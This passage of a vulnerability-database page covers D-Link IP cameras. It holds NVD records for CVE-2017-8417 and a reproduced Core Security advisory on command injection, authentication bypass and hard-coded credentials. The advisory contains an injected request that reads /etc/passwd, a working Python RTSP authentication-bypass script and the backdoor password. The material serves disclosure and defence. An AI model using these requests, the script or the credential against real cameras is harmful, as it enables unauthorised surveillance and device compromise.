"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10.0,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T20:15:10.870",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-287"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
Vulnerability from fkie_nvd
Published
2019-07-02 21:15
Modified
2024-11-21 03:34
Severity ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device's password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| cve@mitre.org | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| cve@mitre.org | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | Third Party Advisory, VDB Entry | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://seclists.org/bugtraq/2019/Jun/8 | Mailing List, Third Party Advisory |
Impacted products
| Vendor | Product | Version | |
|---|---|---|---|
| dlink | dcs-1100_firmware | - | |
| dlink | dcs-1100 | - | |
| dlink | dcs-1130_firmware | - | |
| dlink | dcs-1130 | - |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1100_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "554817F7-7E3D-4D69-90AC-46D86056143B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1100:-:*:*:*:*:*:*:*",
"matchCriteriaId": "704F9608-72CE-49C0-B7D2-F2FE84DF0C74",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:dlink:dcs-1130_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0DB53465-4FE2-43EF-B2C6-839DFEA80D62",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:dlink:dcs-1130:-:*:*:*:*:*:*:*",
"matchCriteriaId": "33A388EC-275D-4180-83E2-AD73F7EEB54F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device requires that a user logging into the device provide a username and password. However, the device allows D-Link apps on the mobile devices and desktop to communicate with the device without any authentication. As a part of that communication, the device uses custom version of base64 encoding to pass data back and forth between the apps and the device. However, the same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third party to retrieve the device\u0027s password without any authentication by sending just 1 UDP packet with custom base64 encoding. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
},
{
"lang": "es",
"value": "Se detect\u00f3 un problema en los dispositivos DCS-1100 y DCS-1130 de D-Link. El dispositivo requiere que un usuario que inicie sesi\u00f3n en el dispositivo suministre un nombre de usuario y contrase\u00f1a. Sin embargo, el dispositivo permite que las aplicaciones D-Link en los dispositivos m\u00f3viles y de escritorio se comuniquen con el dispositivo sin ninguna autenticaci\u00f3n. Como parte de esa comunicaci\u00f3n, el dispositivo utiliza una versi\u00f3n personalizada de la codificaci\u00f3n base64 para pasar datos en ambos sentidos entre las aplicaciones y el dispositivo. Sin embargo, la misma forma de comunicaci\u00f3n puede iniciarse mediante cualquier proceso, incluido un proceso de atacante en el tel\u00e9fono m\u00f3vil o el escritorio, lo que permite a un tercero recuperar la contrase\u00f1a del dispositivo sin ninguna autenticaci\u00f3n mediante el env\u00edo de solo 1 paquete UDP con codificaci\u00f3n base64 personalizada. La severidad de este ataque se incrementa por el hecho de que hay m\u00e1s de 100.000 dispositivos D-Link instalados."
}
],
"id": "CVE-2017-8417",
"lastModified": "2024-11-21T03:34:00.100",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "LOW",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "ADJACENT_NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 3.3,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:A/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 6.5,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "ADJACENT_NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
]
},
"published": "2019-07-02T21:15:10.633",
"references": [
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"VDB Entry"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
}
],
"sourceIdentifier": "cve@mitre.org",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-255"
}
],
"source": "nvd@nist.gov",
"type": "Primary"
}
]
}
var-202001-0839
Vulnerability from variot
A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface. plural D-Link IP Camera Products include OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. There are security vulnerabilities in multiple D-Link webcam products. Multiple D-Link webcam products '/var/www/cgi-bin/rtpd.cgi' have input validation vulnerabilities that allow remote attackers to exploit vulnerabilities to submit requests similar to the following to execute arbitrary commands in the application context: http:// 192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd. Exploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. Advisory Information
Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release
- Vulnerability Information
Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603
- Vulnerability Description
Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:
- [CVE-2013-1600] to access the video stream via HTTP,
- [CVE-2013-1601] to access the ASCII video stream via image luminance,
- [CVE-2013-1602] to access the video stream via RTSP,
-
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
-
Vulnerable Packages
The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.
[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO
[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02
[CVE-2013-1602] . ALL mentioned devices and firmware.
- Vendor Information, Solutions and Workarounds
D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.
- Credits
[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.
[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.
[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.
The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
7.1. The OS command injection is due to this code in 'rtpd.cgi':
/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"
-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:
/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:
/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/
7.2. Authentication Bypass
[CVE-2013-1600] The live video stream can be accessed without authentication by a remote attacker via the following request:
/----- http://192.168.1.100/upnp/asf-mp4.asf -----/
7.3. ASCII Video Stream Information Leak
[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:
/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:
/-----
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . o o o o o o o
O O O O O O O O O O o . o O O o . o o o o o o
O O O O O O O O O . o o o o o o
O O O O O O O O . o o o o o o o o
O O O O O O O . o O O o . o o o o o o o o o
O O O O O O o . O O O O O O . o o o o o o o o o
O O O O O O . O O O O O O O . o o o o o o o o o
O O O O O O o O O O O O O O . o . o o o o o o o o
O O O O O O o O O O O O O O . o o o . o o o o o o o o
O O O O O O o O O O O O O o . o O O o O O . o o o o o o o
O O O O O O . o O O O O O O o . O O O o O O . o o o o o o
O O O O O O . O O O O O o . O O o o O O o . o o o o o o
O O O O O O o O O O O O o . o O O o o O O o . o o o o o
O O O O O O O O O O O O . o O O o o O O o . o o o o o
O O O O O O O . o O O O o . o o o O o o O O o . o o o o
O O O O O O O o . O O O o . o o o O o o O O o . o o o o
O O O O O O O O . O O O . o o o O o o O O o . o o o o
O O O O O O O O O O O . o o o O o o O O o . o o o
O O O O O O O O o o O o o o o o O o o o O o . o o o
O O O O O O O O O . O o o o o o O o . o O o . o o
O O O O O O O O O . O o . o o o o O . o O o . o
O O O O O O O O O o o . o o o o o . o O o . o
O O O O O O O O O O . o o o . o . o O o .
o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .
-----/
7.4. RTSP Authentication Bypass
[CVE-2013-1602] This vulnerability is triggered because:
- Authentication is only present in DESCRIBE requests but not in every subsequent request.
- When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker.
/----- import sys from socket import * from threading import Thread import time, re
LOGGING = 1
def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread): dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d'
% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''
class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'
class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.CSeq:\s(\d+?)\r\n.',
self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.%s\s(.+?)[;|\r].' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
except:
pass
return data
if name == 'main':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, DLink((camera_ip,
camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'
-----/
7.5. RTSP Hard-Coded Credentials
[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.
/-----
username: (any)
password: ?*
-----/
As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':
/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
-
References
[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202001-0839",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "dcs-5230",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-5635",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.01"
},
{
"model": "dcs-2102",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.05"
},
{
"model": "dcs-3411",
"scope": "eq",
"trust": 1.0,
"vendor": "dlink",
"version": "1.02"
},
{
"model": "dcs-3430",
"scope": "eq",
